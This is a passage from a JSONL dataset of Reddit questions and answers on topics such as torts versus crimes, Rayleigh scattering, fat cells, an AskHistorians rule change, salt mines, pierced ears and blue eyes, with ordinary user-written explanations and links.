(b) $200,000 is the right amount to fix it. I can't ask the judge to put you in jail, because punishing you isn't really my goal. My goal is just to have you make up for what I lost. The name of the case will be **pxalt v. pulse2**.\n\nSo to sum up, a **criminal** case is where the government is prosecuting you for breaking the law. A **civil** case (such as a tort case) is generally where a private entity (like a person) is trying to make you fix something you did to them, or stop you from doing it in the first place. Now pay me my money.\n\nEdit: General cleanup", "The answer that exists (as of me reading this question) by /u/pxalt is good, but I think a second explanation may be helpful too.\n\n-----------------------\n\n**A tort is when you do something bad to me, and I hold you responsible.** Generally this means you have to pay me money to make up for what you did. A [tort](_URL_0_) is something like infringing on my copyright, or hitting me with your car because you weren't paying attention, or trespassing on my land. You've hurt me and I need you to make up for what you did.\n\n**A crime is when you do something bad against society, and the government holds you responsible.** Generally this means you have to risk going to jail to make up for what you did. A crime is something like murder, theft, breaking and entering. You've hurt society by breaking the rules of society and the government needs to punish you for it.\n\nIt can get tricky because sometimes you can do something that is **both** a tort and a crime. For example: battery! You hauled off and hit me in the face.\n\nYou have committed the tort of battery. I can sue you for medical bills and the like and make you give me money to make up for what you did.\n\nYou have committed the crime of battery. The government can sue you for breaking the law and send you to jail to punish you.\n\nTherefore, the same act can be both a tort and a crime. The tort goes through the civil court system is brought by me (the person you hurt); the crime goes through the criminal court system and is brought by the government. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Tort"]]}
{"q_id": "m0t4e", "title": "rayleigh scattering", "selftext": "I have never been able to full wrap my brain around the concept. I understand it makes the sky (and pretty irises!) blue, and deals with scattering of radiation by particles. I don't understand why it affects some wavelengths more or less (eg, it isn't random across the spectrum), or how it works, or anything.\n\nAlso, the wikipedia page is insane. Zero-to-math in a paragraph.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m0t4e/rayleigh_scattering/", "answers": {"a_id": ["c2x5rgu", "c2x5rgu"], "score": [10, 10], "text": ["Imagine you have a gun which can shoot a stream of balls, and you have some basketballs floating in the air. If you shoot slower beach balls, they won't bounce off (or scatter) as wildly as when you shoot faster ping-pong balls. \n\nLight is kind of the same way. We're shooting different \"sizes\" of light which have different energies at air molecules. Blue light has more energy and a smaller size (wavelength) than red light, so it gets scattered more.\n\n So for the sky, if the light didn't bounce off at all and just went straight through, the sky would look black. The only light you see from the sky is light that has been scattered. Since blue light is scattered more, it looks blue. That's why the day-time sky is blue. When you're looking at a sunset, the light is more or less coming straight at you. Since blue light is scattered more, less of it comes straight through as opposed to red light. That's why the sunset (and sunrise) skies are red and orange. ", "Imagine you have a gun which can shoot a stream of balls, and you have some basketballs floating in the air. If you shoot slower beach balls, they won't bounce off (or scatter) as wildly as when you shoot faster ping-pong balls. \n\nLight is kind of the same way. We're shooting different \"sizes\" of light which have different energies at air molecules. Blue light has more energy and a smaller size (wavelength) than red light, so it gets scattered more.\n\n So for the sky, if the light didn't bounce off at all and just went straight through, the sky would look black. The only light you see from the sky is light that has been scattered. Since blue light is scattered more, it looks blue. That's why the day-time sky is blue. When you're looking at a sunset, the light is more or less coming straight at you. Since blue light is scattered more, less of it comes straight through as opposed to red light. That's why the sunset (and sunrise) skies are red and orange. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "29o908", "title": "What is symmetry in physics and what does it mean to be broken?", "selftext": "I often hear about \"symmetry\" in physics, but I've never really understood what this term means. I have also heard about \"broken symmetry\", which confuses me as well. Can anyone shed some light on these terms?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/29o908/what_is_symmetry_in_physics_and_what_does_it_mean/", "answers": {"a_id": ["cimw3c0"], "score": [36], "text": ["We describe a physical system via some equations of motion; those equations assert some relationships among various entities -- positions, fields, whatever.\n\nA symmetry is a transformation of those entities that leaves the equations of motion unchanged.  For example, in classical physics, mapping every coordinate to its negative (a reflection) is a symmetry of nature.\n\nThere are fundamental symmetries (symmetries of the basic laws of physics) and there are symmetries of a particular system (e.g., if I have a straight infinite wire and nothing else, that system has a cylindrical symmetry when I rotate around the axis of the wire).\n\nBecause a symmetry leaves the equations of motion unchanged, if I apply a symmetry transformation to some particular allowed motion, the result will be another allowed motion.\n\nIn quantum physics, the state of lowest energy -- called the *vacuum state* or just the *vacuum* -- plays an important role, because it is essentially the background against which everything occurs.\n\nUsually, when someone refers to a broken symmetry, they are referring to the phenomenon of *spontaneous symmetry breaking*.  This arises when the vacuum state is not unchanged by the symmetry transformation, even though the laws of physics are left unchanged. The standard example is in a bar magnet: the lowest energy state has all the atoms (which themselves behave like little bar magnets) lined up pointing the same direction.  This configuration is not left unchanged under arbitrary rotations (the north pole can wind up pointing in a different direction), but the laws of physics are still rotationally invariant; all they demand is that adjacent spins point in the same direction, without singling out a particular direction.\n\nIn spontaneous symmetry breaking, then, the world *looks* like it's not symmetric, but the underlying principles are symmetric.\n\nSymmetries are important for a host of reasons.  They help us to identify and classify solutions to equations of motion; they can be associated with conserved quantities; and each of the fundamental forces arises from requiring that our description of nature be invariant under some particular symmetries.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25ygqx", "title": "If I gain 10 lbs of fat, lose it, and then gain 10 lbs again, am I \"refilling\" those same fat cells before creating new ones?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25ygqx/if_i_gain_10_lbs_of_fat_lose_it_and_then_gain_10/", "answers": {"a_id": ["chlzj03", "chm0ccb", "chm0wjx", "chm582y", "chm99zx"], "score": [1009, 10, 470, 223, 16], "text": ["When you gain weight, your adipose tissue cells swell with fat causing them to greatly expand , then divide if they get big enough. When you lose weight, the cells shrink down to their minimum size as their fat reservoirs are depleted, but the cells themselves remain put. So someone who was once obese and is now a healthy weight has a whole lot more fat cells (though mostly empty) than someone who was never obese.\n\nEdit: What I was paraphrasing here was an unsourced slide in a powerpoint lecture.  ...great.  Annnd, the wording in the specific topic of fat cell death/division doesn't appear in the corresponding textbook chapter.  I have shamed the name of science.  Please defer trust to the several PhDs and PhD candidates who have already commented here on this thread.", "Does the higher number of fat cells in someone who has lost weight affect the hormonal effects of fat?  I know fat cells produce aromatase, which can convert testosterone into estrogens.  Has the effect of excess number of fat cells on endocrinology been studied? ", "_URL_0_\n\n >  Every year, whether you are fat or thin, whether you lose weight or gain, 10 percent of your fat cells die. And every year, those cells that die are replaced with new fat cells, researchers in Sweden reported Sunday.\n\n >  The result is that the total number of fat cells in the body remains the same, year after year throughout adulthood. Losing or gaining weight affects only the amount of fat stored in the cells, not the number of cells.\n\n >  The finding was published online Sunday in the journal Nature.\n\nOddly, [adipocyte apoptosis](_URL_1_) might be a cause of obesity related disorders, like insulin resistance, fatty liver, and general inflammation.", "I am currently getting a PhD in this exact field.\n\nFor the most part, you are refilling the fat cells that were already there.  To clear up some things that have been said, adipocytes (fat cells), are post-mitotic, meaning they cannot divide to form new cells.  New adipocytes are created in a process called hyperplasia.  Hyperplasia is a process in which adipocyte precursor cells (similar to a fat stem cell) proliferate and differentiate to form new adipocytes.  The process of hyperplasia and what cause it to occur is not currently well-understood (that is my thesis project).\n\nTLDR; Yes, you are refilling those same cells.", "Unfortunately a science gem seems to have been clobbered in the moderator delete storm that just went by....\n\n[Cold acclimation recruits human brown fat and increases nonshivering thermogenesis](_URL_0_)\n\n[Cold-Activated Brown Adipose Tissue\nin Healthy Men](_URL_1_)\n\nThis one strikes me as very interesting... apart from the obvious benefit of solving my heating bills and obesity. \n\nIt seems like this is a fairly new are of research. Anybody have any more papers on the subject of brown adipose tissue and cold acclimatization?\n\nTo what extent does cold acclimatization convert white adipose tissue to brown? \n\nAre they different cells, or same cells behaving differently?\n\nHow much cold acclimatization do you need to activate this?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.nytimes.com/2008/05/05/health/research/05fat.html?_r=0", "http://www.jbc.org/content/285/5/3428.full.pdf"], [], ["http://www.jci.org/articles/view/68993", "http://www.nejm.org/doi/pdf/10.1056/NEJMoa0808718"]]}
{"q_id": "3nub87", "title": "RULES CHANGE: \"Throughout History\" Rule is replaced with the \"Trivia Seeking\" Rule", "selftext": "Hello everyone!\n\nToday, we are making a marginally notable change to the rules governing submissions. The rule known as the \"Throughout History Rule\" is being replaced with the \"**Trivia Seeking Rule**\". The changes to the rule from the existing wording are the following:\n\n > Our guiding principle is that if a thread can be summarized as ~~\"tell me random stuff about X through history\"~~ \"**tell me random stuff about X**\" then it falls into this category of trivia seeking rather than looking for in-depth answers, which is this community\u2019s main focus. ~~Questions likely to be removed are those asking about all history and all places at once.~~ **Questions likely to be removed are those which are not bounded by a reasonably defined time and/or place, which do not ask a specific question but rather seek random facts, or otherwise lack clarity that would allow for a comprehensive answer to address the question in its entirety**. If your question includes the phrase \"In your area of expertise\", \"examples of [X] throughout history\", or \"What are some facts about [X]\", strongly reconsider posting it, or else spend some time to narrow down the scope of what you are asking.\n\n###What Does This Mean in Practical Terms? \n\nOur intention is to improve clarity of the rules for users, and allow us to better enforce them with more consistency:\n\n* This wording better reflects how the \"Throughout History\" rule was being applied previously, with questions asking about development over time being permitted, and questions that lacked cohesiveness or asked about disjointed miscellany being removed.\n\n* The new rule more explicitly defines the criteria that the original rule was intended to combat, namely threads that don't call for any sort of comprehensive answer, but rather invite users to contribute piecemeal, and (usually rule-breaking) responses. We have nothing against threads like that, but they are better suited to placed like /r/history, /r/askreddit, or /r/TellMeAFact.\n\nHopefully the wording should make the intent and enforcement of the rule a little clearer than before.\n\n###What Questions Will or Won't Be Allowed Now?\n\nQuestions that might have passed muster previously are ones that, while possibly specific to time and/or place, clearly lack a cohesive element which lends itself to a comprehensive answer. We aren't monsters though, so we realize that, especially in history, there often is more than one answer even to a rather narrowly tailored question. So don't understand \"*comprehensive answer to address the question in its entirety*\" to imply we are removing any question for which there could possibly be more than one answer, but rather that questions simply shouldn't be inviting haphazard, partial responses! \n\nWhile a question such as \"*What are examples of 19th century science and medicine that has been disproven?*\" would possibly fall on the wrong side of the rule, a similar question, such as *\"How reliable was science and medicine in the 19th century?*\" or *\"How recognizable would the scientific method of the 19th century look to a modern scientist?\"*, would not. While they are similar in topic, the latter two address the concept of 19th century science, while the former simply asks for examples of it, without larger context, which is the core of what makes it \"Trivia Seeking\". We have nothing against these questions, but simply ask you take them elsewhere (and maybe come back to ask about specific things after!).\n\nAdditionally, as regards \"*reasonably defined time and/or place*\", we will continue to grant rather wide latitude as regards \"specific\" with time and place. So for instance, while 14th Century Aquitaine will yield a wildly different answer than 9th century Sweden, we aren't going to be expecting more than \"Middle Ages\" for a question about the period (sorry Medievalists). Certainly, we always like to see questions narrowed down as much as possible, but we also realize that the role of this sub is for people who don't know much about a topic to learn, and placing excessive barriers to periodization or localization can be an unfortunate 'Catch-22'.\n\nQuestions which might have been removed previously or at least seemed in conflict with the existing rule, but will be allowed, are ones that, despite being broad in scope, nevertheless call for comprehensive responses, such as, \"*How the European concept of sovereignty has evolved since the Peace of Westphalia?\"*, which covers several hundred years.\n\n###What is the Reason For This Rule?\n\nThe \"Throughout History\" Rule has been around since before I was a mod, and to be honest, I don't recall what I thought of the rule when I joined the team, but I can say with certainty that over the nearly two years of doing this, I absolutely agree with its purpose, having seen plenty of threads which were borderline and allowed into devolve into seas of deleted one or two sentence comments.\n\nA rule limiting questions with regard to their scope isn't because those questions are unanswerable, but rather, the rule is born out of more practical concerns, dictated by the medium we are working in. Can those questions be answered amazingly, with fifty experts weighing in with 50 awesome answers? In theory, yes. But in practice, before the rule was implemented, the experience was the those questions generally just attracted lots of marginal answers - brief, incorrect, trivia, etc. So the driving reason for the rule was, in the end, a practical one, as it was felt that in the end the amount of junk comments that resulted far outweighed the amount of good answers. And while we are now changing it a bit, the underlying purpose of the rule remains the same.\n\nBy way of example, here is a thread, asking about \"No longer popular names\", that was not caught early (there was some debate whether it crossed the \"Throughout History\" line). Two top level responses remained, and here are the [deleted comments (with names removed to protect the guilty).](_URL_0_) As you can see, very few are more than a sentence or two, and often anecdotal. Most are downvoted. Threads like this one are often par for the course with these kinds of questions, and the decision was made that questions which lend themselves to such threads are best kept out of the sub, both for maintaining quality, and our sanity.\n\n###But The Question I Have Violates The Rule!\n\nLook, no rule is perfect, and we know that there might be some good questions out there that are getting removed due to it. We admit that the rules are pragmatic ones, designed to ensure that running this sub, to the exacting standard people have come to expect, is doable. We don't ask you to like this rule, only to accept, at least, that it serves a purpose. And that being said, if you just are dying to ask that 'Trivia Seeker', you still have a few options!\n\n* Suggest something for Tuesday Trivia! This is the exception to the rule! Every Tuesday we have a stickied thread just for these kinds of questions. If you have an idea, send it to modmail and we'll make it happen. If you can't wait for that, we don't pay much mind to questions posed in the Friday Free-for-All thread, so you are welcome to ask there too.\n\n* Argue your case. We make mistakes. And we can be suckers for *polite*, well reasoned arguments. If you think that your question doesn't fall under the rubric of the rule, the cause isn't lost. We absolutely have restored questions in the past, or else worked with the poster to rephrase the question to fit the rules better. You also are welcome to contact us through modmail before posting, and we're happy to help you formulate your question to remain within the rules.\n\n* Try somewhere else. As noted previously, these sorts of general questions work in other subs, such as /r/history, /r/askhistory, /r/askreddit, or /r/TellMeAFact. We know that the standards there aren't quite up to what we enforce here, but if you hear some cool stuff in a thread made in one of those subs, nothing is stopping you from coming back to /r/AskHistorians to ask a more specific question based off that information!\n\n* ~~Stick another pin in your /u/Georgy_K_Zhukov voodoo doll.~~\n\n###Makes Sense! Let's Give This a Shot ^^stab\n\nThanks for the vote of confidence! As this new rule is rolling out, we do ask that you keep a few things in mind. Most importantly, we are going to be getting a handle of how this rule works just as much as you guys! While we think this is better than the old rule, like I said, it isn't perfect, and there is no rule that can totally eliminate any grey-area with this matter. So we're going to be figuring out how exactly this rule is interpreted ourselves, which despite backroom discussion, will only really happen once we deploy it and test it out in the wild. So bear with us a little bit, and don't be afraid to (politely, please!) respond to the removal reason as we're enforcing the rule! Feedback is important, and quite helpful!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/", "answers": {"a_id": ["cvr9f38", "cvr9s3f", "cvrb0ky", "cvrbcfj", "cvre62t", "cvrevkk", "cvrilnz", "cvrjba0", "cvrjlem", "cvrl9bc", "cvrlf1n", "cvrm4b0", "cvrmk2l", "cvrn69q", "cvrnjrr", "cvs72bu", "cvsas7r"], "score": [52, 290, 29, 85, 8, 44, 16, 11, 35, 8, 8, 5, 5, 6, 7, 5, 2], "text": ["Yes, the Early Modern Inquisition supports this 105%. ", "And yea, Tuesday Trivia will remain the People's Day, against the tyranny of specificity, a safe space for all cultures and times and sharing your least important information about them. Kindly put some fun theme ideas in my inbox if you would like to protest. ", " >  We aren't monsters though\n\nUh-huh. :)", " > So for instance, while 14th Century Aquitaine will yield a wildly different answer than 9th century Sweden, we aren't going to be expecting more than \"Middle Ages\" for a question about the period (sorry Medievalists).\n\nThank you for stating this - I always feel awkward about saying \"Middle Ages\" or even some slightly modified version, and it's good to get official sanction.", "What about questions regarding a correlation between certain (not necceseraly period-bound or location-bound) social phenomona? For example, Is it OK to ask if a correlation exists between the importance of trade to an area's economy and the rise of literacy of that area?", "Does this include questions like \"What's the earliest known example of X?\"  It's sort of borderline on these rules, it seems to me, and I was sort of wondering about a few questions of this type lately but wasn't sure if they were kosher.", "Thank you for keeping this sub moderated and on a more academic track.  I do not comment frequently since I'm several years removed from my MA.  I do very much appreciate the knowledge presented.  I felt a lot of these questions seemed more like \"give me answers for my homework.\"", "First they came for the trivia seekers, and I did not speak out because I was not a trivia seeker... \n\nBut seriously I do think this rule makes sense and will make the sub a better place.", "New Post:\n\n > *Throughout History*, Has A More Important Rule Ever Been Changed? ", "This seems really biased towards mods and question-answering experts in a way that, unlike you guys view, is bad for education of the sub. I'm well aware of depth of education over breadth of education arguments, and they do hold some merit.   \n\nThink, however, of the skew. These questions do not lack education or use. They're merely less appreciated at the highest level due to answers intrinsically going wide rather than deep. This is not a bad thing. These threads spread a lot of knowledge and intrigue to people with lower interest and awareness of history.  \n\nThe rule is elitist about questions purely based on what the most informed (elite) of the sub like. This stomps curiosities that some people truly don't know how to express in specific ways. Our answers should be elite and held to a high standard, but questions really ought to be accessible to the people.  \n\nFurthermore, this rule is predicated on a potential tendency for these questions to break other rules or have low-quality responses that break other rules. By that logic, this rule is just the easy way out.   \n\nI say all of this not because I hate you mods or your decisions, but because I think this sub is great and does have great mods. Low quality threads don't survive here anyway due to effective moderation and rules as is. ", "I am a fan of this change, but it occurs to me that I don't know of a place that would answer the trivia seeking questions.   \n   \nWhile I agree that this sub should be about more focused, specific discussions, I also think that the other kind of questions still have value and can yield enlightening responses.  Sometimes the firsts and the mosts can be great doorways into an unfamiliar topic.   Is there a place on reddit to \"take it elsewhere\"?   \n  \nIf not, can I suggest a new subreddit called /r/triviaseekers? ", "This feels like patch notes, in a good way.  Honest, well reasoned and clear.", "How often have rules like these been laid down throughout history?", "I like this!  The throughout history bit is honestly one of the most important rules we put in, but this narrowing of it should work! ", "Just want to throw out there that there is literally a subreddit for \"tell me a random fact about X\" that people could post those rulebreaking questions in.\n\n/r/TellMeAFact ", "I like it.", "To provide background perspective, I'm an exceptionally occasional lurker here when something particularly interesting floats to my front page. While I find plenty of the content extremely interesting when I'm here, I tend to avoid the place.\n\nBut I ask is this place intended to be an academic forum for academics to discuss and others to watch, or an academic forum for the general public (who come from a diverse range of backgrounds and education levels), to interact with academics and get an \"academic\" answer?"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/QwIMjNw.jpg"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "axrn2a", "title": "how can a mental disorder be physically genetic?", "selftext": "According to this definition of disorder: There are no lab tests, brain scans, X-rays or chemical imbalance tests that can verify any mental disorder is a physical condition.\n\nYet I see a lot of debates if disorders (autism for example) are genetic or environmental... but isn't a gene a physical thing? Does that conflict with this definition of disorder? Are the genetic camp people arguing it may be a disease rather than a disorder, or is there more to this definition that I understand? Thank you", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axrn2a/eli5_how_can_a_mental_disorder_be_physically/", "answers": {"a_id": ["ehvlctb", "ehvlw66", "ehvn9gk", "ehvphjv", "ehvqrpr", "ehw34mt", "ehycnqb"], "score": [4, 3, 2, 8, 2, 2, 2], "text": ["I studied brain science in university.\n\nA mental disorder can be caused partly by a condition that arose in the brain, due to genetic causes, but cannot be detected by any test other than looking at the disorder.", "Imagine human DNA is a self-serve frozen yogurt place and each gene is a flavor.  Some people have flavors that weren't made right in the back (more accurately they were made correctly, but they were using a bad recipe), so every time someone pumps out the Chocolate Durian Ghost Pepper yogurt, bad things happen.   That's a genetic disease.  The word disorder is probably being used as a synonym because it's a fairly broad term.\n\n & #x200B;\n\nThe problem is that even though we have a full map of the human genome, it's like a map of the city, but even though it has every road on the map, we don't know the names of every road.  So in the example above, we may know a disease is a genetic disease, but we don't know what frozen yogurt pump is pumping out the gross yogurt in many cases, so we can't make a test to tell what's causing it, we just know it's coming from somewhere in the store.", "Alcoholism is a mental disorder. In certain humans, their genes don't produce as much dopamine. This is thought to contribute to the development of alcoholism if a person with that genotype drinks alcohol.  What genes are (genotype) is different from what they end up creating (phenotype).  \nThere is a lot in-between genes and behavior.", "[It looks like your definition comes from Scientologists](_URL_2_). Unsurprisingly, it's garbage.\n\nOur brains and all thoughts/emotions/functions performed in them are produced by *physical* molecules and the changes of molecules. All abnormal functions in these processes, such as in mental disorders, are also caused by physical molecules. Theoretically, we could detect a physical change(s) that are responsible for any mental disorder - we just don't have the technology to do so. Modern science isn't anywhere close to being able to do that.\n\nA genetic defect leading to a mental disorder is a physical change (the gene is disrupted). \n\nAn environmental change leading to a mental disorder is a physical change - it must be, because all mental disorders are the results of changes to the physical brain. \n\nNo reasonable definition of disorder versus disease differentiates the two terms on the basis of physical evidence. The latest DSM-V definition of a mental disorder is: \"a syndrome characterized by clinically significant disturbance in an individual's cognition, emotion regulation, or behavior that reflects a dysfunction in the psychological, biological, or developmental processes underlying mental functioning\". The definition is based around the clinical effects, not our ability to physically detect it.\n\nFor examples of physical environmental influences on mental disorder, we can look in mice - we can, for example, show definitively that the [gut microbiota](_URL_0_) and/or [enteric viruses](_URL_1_) (which are not genetic, and are thus environment) alter anxiety, autism-like behaviour, epilepsy and stress. How? We don't know exactly, because 1) we don't understand how the brain works very well; 2) we don't know what to look for.\n\n\n\n\n", "First of all, you have to take a step back and realize that what we call mental disorders are not discrete entities in themselves.\n\nThey are based on \"checklists\" that a patient has X number of symptoms in this category and Z number of symptoms in this category (i.e., ADHD has a certain number of symptoms of both inattention and impulsivity+/- hyperactivity symptoms).\n\nThese criteria are created by humans and are modified all the time. For example, there used to be many different disorders in the autism spectrum, but partially driven by, say, insurance reimbursements (they'd pay to treat 'autism' but not so much for other disorders on the spectrum), they've been lumped together. We also used to have a number of \"somatoform\" disorders, where people experience physical symptoms without an apparent physical cause and these have been lumped together, too. One of these disorders, COnversion disorder, has remained a separate entity because...Sigmund Freud came up with it? That's not a very scientific reason.\n\nMany mental disorders have a genetic predisposition, but are likely also influenced by chance events in the brain's development and environmental influences. For example, someone maybe predisposed to PTSD, but never experienced the trauma necessary to bring it out.\n\nAnother thing to realize is that there are far, far more connections in your brain there there are genes in the human genome. So a lot of that development is due to chance. One part of the brain will say, \"brain cells grow towards me\" and some cells will make connections and others will not and some will be reinforced and others will be allowed to fall away. For similar reasons, 80% of people have the posterior descending artery of the heart branch off the right coronary artery. 20% of people have it coming off the left. 10% of people have an additional artery in their neck that 90% don't have. Some people have 2 left renal veins, most people only have one. Etc, etc. There is a lot of individual variation between people.\n\nWe don't understand fully the cause of any of these mental disorders. At some fundamental level there is likely specific activity in certain brain circuits that cause them but we're not at the point where we can identify them yet.", "This [article in Science](_URL_0_) shows POSTMORTEM studies of gene expression in the brain correlate to mental illnesses", "I think you are hung up on mental being non-physical, which is not the case. Mental is a very unique aspect of physical processes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6302417/", "https://www.nature.com/articles/nrgastro.2016.107", "https://www.cchr.org/quick-facts/real-disease-vs-mental-disorder.html"], [], ["https://www.sciencemag.org/news/2018/02/major-mental-illnesses-unexpectedly-share-brain-gene-activity-raising-hope-better"], []]}
{"q_id": "625rzz", "title": "What's so bad about working in the salt mines? How did that become such a dire punishment?", "selftext": "In [The Prize](_URL_2_), author [Daniel Yergin](_URL_3_) says that Chinese were drilling 3000-foot wells in their quest for salt for centuries before [oil drilling began in Pennsylvania](_URL_1_). And I know that in some places, pre-industrial societies obtained salt via evaporation. So mining salt in horrible conditions is not the only option.\n\nBut salt mines seem to have taken on an almost iconic status as a hellish work environment to which one would be sent as a punishment little short of death. Were they more dangerous than other mines (or other forms of penal labor)? Where, if anywhere, was being sent to work in salt mines really used as a form of punishment, and for what crimes?\n\n[A subreddit search](_URL_0_) turned up a few interesting things about salt, but nothing relevant.\n\nEdit: word", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/625rzz/whats_so_bad_about_working_in_the_salt_mines_how/", "answers": {"a_id": ["dfkhl6z"], "score": [285], "text": ["You might be able to guess, working in closed spaces underground with little ventilation where you're breathing in particles of rock salt dehydrates you in the short term, and in the long term you're accidentally ingesting high levels of salt, and that increased sodium intake can have real effects on the body. It's very obviously difficult and grueling physical labor. However, it's not the salt mines themselves that created the reputation for being a nightmare.\n\nI've heard stories of salt mines only being worked on by criminals and slaves during ancient Rome, but as far as it being used as a punishment, the most definite example I can find, and where the trope/idiom almost definitely comes from, is [in 18th and 19th century Russia](_URL_0_), when the government would send criminals to eastern Siberia to work in various mines. Some to gold mines, others for lead and silver, others salt mines, others to help build the Trans-Siberian Railroad etc. They would be *brutally* worked according to accounts, and punishments for not working hard enough were very severe. So it seems as though it's not just the salt mines specifically, but pretty much all Siberian labor camps for the way workers were treated by foremen.\n\n19th century explorer George Kennan traveled quite a bit around Siberia/Eurasia and wrote about his travels. He published a book called *Siberia and the Exile System* in 1891 that had been released serially in a magazine. More importantly, before publishing this book, he spent a few years travelling around the US as a lecturer, telling people about the horrors of Siberian exile and his opposition to the Russian autocracy. His lectures were quite well attended, and it's estimated that he spoke to upwards of a million people on his circuit, before chapters of his book were released to an even wider audience.\n\nAccording to the [American Heritage Idiom Dictionary](_URL_1_), the phrase \"back to the salt mines\" does indeed originate around the late 19th/early 20th century."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/search?q=salt+mine&amp;restrict_sr=on", "https://en.wikipedia.org/wiki/Drake_Well", "https://en.wikipedia.org/wiki/The_Prize:_The_Epic_Quest_for_Oil,_Money,_and_Power", "https://en.wikipedia.org/wiki/Daniel_Yergin"], "answers_urls": [["http://spartacus-educational.com/RUSsiberia.htm", "http://www.dictionary.com/browse/back-to-the-salt-mines"]]}
{"q_id": "9lgyx9", "title": "How and when did pierced ears become socially acceptable for women in the West?", "selftext": "When I\u2019ve looked at books on 19th Century and earlier jewelry, I\u2019ve noticed that ear clips seemed to have been considerably more common than earrings for pierced ears. When were costume, fine and high jewelry ear clips overtaken in popularity by pierced-ear earrings?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9lgyx9/how_and_when_did_pierced_ears_become_socially/", "answers": {"a_id": ["e76too3"], "score": [14], "text": ["You actually seem to have things mixed up - clip-on and screw-back earrings are much more recent than earrings for pierced ears. This is true on a grand scale (have a look at [these gold earrings from Ur, 2600-2500 BCE](_URL_4_), or [this one from Ramesside Egypt, 1295-1186 BCE](_URL_6_)), but also during the nineteenth century (see [this set from Tiffany and Co., ca. 1856](_URL_1_) and [this cool set with snap-on covers from the 1880s](_URL_5_)).\n\nWestern women generally stopped piercing their ears around the turn of the century - instead, they used screw-backs to clamp the earring onto the earlobe. Guides for antiques appraisal are vague and contradictory about specific years, but I can find clear textual references to earrings for unpierced ears from 1904, described alongside normal post or drop earrings. By 1908, newspapers could talk very disdainfully about how pierced ears were \"[mutilated](_URL_3_)\", and by 1914, the trade magazines (who would know) were saying that [it was mostly screw-back earrings that were being sold](_URL_2_). The clip-on seems to have come about around 1934, possibly patterned after the already-existing shoe clips, which were put on the throat/vamp of a dress shoe pointing downward. By the late 1960s, however, the trend was reversing itself, and [more women were choosing to pierce](_URL_0_).\n\nI cannot find anything that discusses the transition in a scholarly manner. The impression I get from the primary sources is that the idea that pierced ears were seen as disreputable prior to recent decades is just ... not really a thing. Perhaps a bit of reflexive anti-Victorianism? Women seem to have taken to screw-back and clip-on earrings because they were convenient, in a period where having your ears pierced was slightly more difficult and piercings were a bit more prone to get infected than today, but because screw-backs and clip-ons have their own drawbacks (screw-backs can hurt like a mother, and both can slip off fairly easily), the trend didn't last. I have seen some speculation about the pierced ear being more sexual and so going hand-in-hand with the sexual revolution, but, frankly, I don't see much to support it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=PAcEAAAAMBAJ&amp;pg=PA30&amp;dq=pierced+ears&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiYk7fLju7dAhWoTt8KHd6qCHYQ6AEIKTAA#v=onepage&amp;q=pierced%20ears&amp;f=false", "https://www.metmuseum.org/art/collection/search/20582", "https://books.google.com/books?id=WS5RAAAAYAAJ&amp;dq=screw-back%20earrings&amp;pg=RA6-PA52#v=onepage&amp;q=screw-back%20earrings&amp;f=false", "https://books.google.com/books?id=FqrUdjL6ag8C&amp;pg=RA1-PA366&amp;dq=screw-back+earrings&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwixwouwiO7dAhXDY98KHXrKAi4Q6AEIMzAC#v=onepage&amp;q=screw-back%20earrings&amp;f=false", "https://www.metmuseum.org/art/collection/search/322907", "https://www.metmuseum.org/art/collection/search/16828", "https://www.metmuseum.org/art/collection/search/550714"]]}
{"q_id": "51vp33", "title": "They say that all blue eyed humans have a common ancestor 7-10 thousand years ago. What about blue eyed dogs, horses or other animals? Is the mutation similar in all species? What would cause such a similar mutation among such varied species?", "selftext": "Looking at my blue eyed dog and wondering.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/51vp33/they_say_that_all_blue_eyed_humans_have_a_common/", "answers": {"a_id": ["d7fhkdd"], "score": [23], "text": ["Once you know what causes blue eyes, you'll see how it could be common.\n\nDark eye color comes from [pigment in your iris](_URL_2_).\n\nHowever, blue eye color isn't from a blue pigment, rather it is the *lack* of pigment that results in blue eyes. [Rayleigh scattering](_URL_0_) of light as it enters the eye produces the blue color.\n\nThus, to get blue eyes, all you need is a disruption in the pigment gene(s) (or upstream of those genes in some way) that lead to dark eye color. And there are many many many ways to break a gene.\n\nSo, at the risk of making things confusing, to use an analogy, if we were talking about a bicycle and \"blue eyes\" == \"broken bicycle\". You thought that there were lots of people experience, say, flat tires. If that were the case, it'd be reasonable to assume that there is a specific problem, like [caltrops](_URL_1_) on the road. However, in reality, there were alot of people with \"broken bicycles\". While you can categorize lots of different things as \"broken\", you can't really draw a conclusion as to *why* people keep breaking their bicycle, as each event actually has a different cause (because 'broken' means many different things)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Rayleigh_scattering", "https://en.wikipedia.org/wiki/Caltrop", "https://en.wikipedia.org/wiki/Eye_color"]]}
